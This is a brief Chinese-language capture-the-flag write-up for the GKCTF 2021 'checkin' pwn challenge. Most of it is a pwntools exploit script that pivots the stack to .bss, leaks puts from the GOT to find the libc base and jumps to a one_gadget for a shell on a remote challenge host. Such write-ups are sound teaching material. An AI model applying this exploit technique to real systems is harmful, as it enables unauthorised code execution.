[GKCTF 2021]checkin
[GKCTF 2021]checkin
1.ida分析

存在栈溢出漏洞,不过只能溢出8字节。
2.checksec

3.解决
找了一个官方wp和一个比较好理解的exp
官方:https://cloud.tencent.com/developer/article/1844887
大佬:https://blog.csdn.net/pondzhang/article/details/118281922
官方的有点难理解,就记一下好理解的。
exp
from pwn import * context.log_level='debug' #p = process('./login') p=remote('node4.buuoj.cn',25543) elf = ELF('./login') libc=ELF('libc.so.6') puts_func = 0x00000000004018B5 puts_got = 0x0000000000602028 pop_rdi_ret = 0x0000000000401ab3 bss = 0x0000000000602400 p.recvuntil('>') payload = 'admin\x00\x00\x00' +p64(pop_rdi_ret) + p64(puts_got) +p64(puts_func) p.send(payload) #gdb.attach(p) p.recvuntil('>') payload = 'admin\x00\x00\x00' +p64(0)*3 + p64(bss) p.send(payload) libc_base=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.symbols['puts'] log.success(hex(libc_base)) p.recvuntil('>') payload = 'admin\x00\x00\x00'*3 +p64(0x4527a+libc_base) p.send(payload) p.recvuntil('>') payload = 'admin\x00\x00\x00'*4 + p64( bss + 0x18 ) p.send(payload) p.interactive()
首先是栈迁移到0x602400,然后再利用已有的puts函数泄露出puts的地址,这个泄露雀食蟀。
p.recvuntil('>') payload = 'admin\x00\x00\x00' +p64(pop_rdi_ret) + p64(puts_got) +p64(puts_func) #泄露地址,并再次进入输入的函数 p.send(payload) #gdb.attach(p) p.recvuntil('>') payload = 'admin\x00\x00\x00' +p64(0)*3 + p64(bss)#栈迁移 p.send(payload)
然后剩下的就是计算基址再输入one_gadget。

浙公网安备 33010602011771号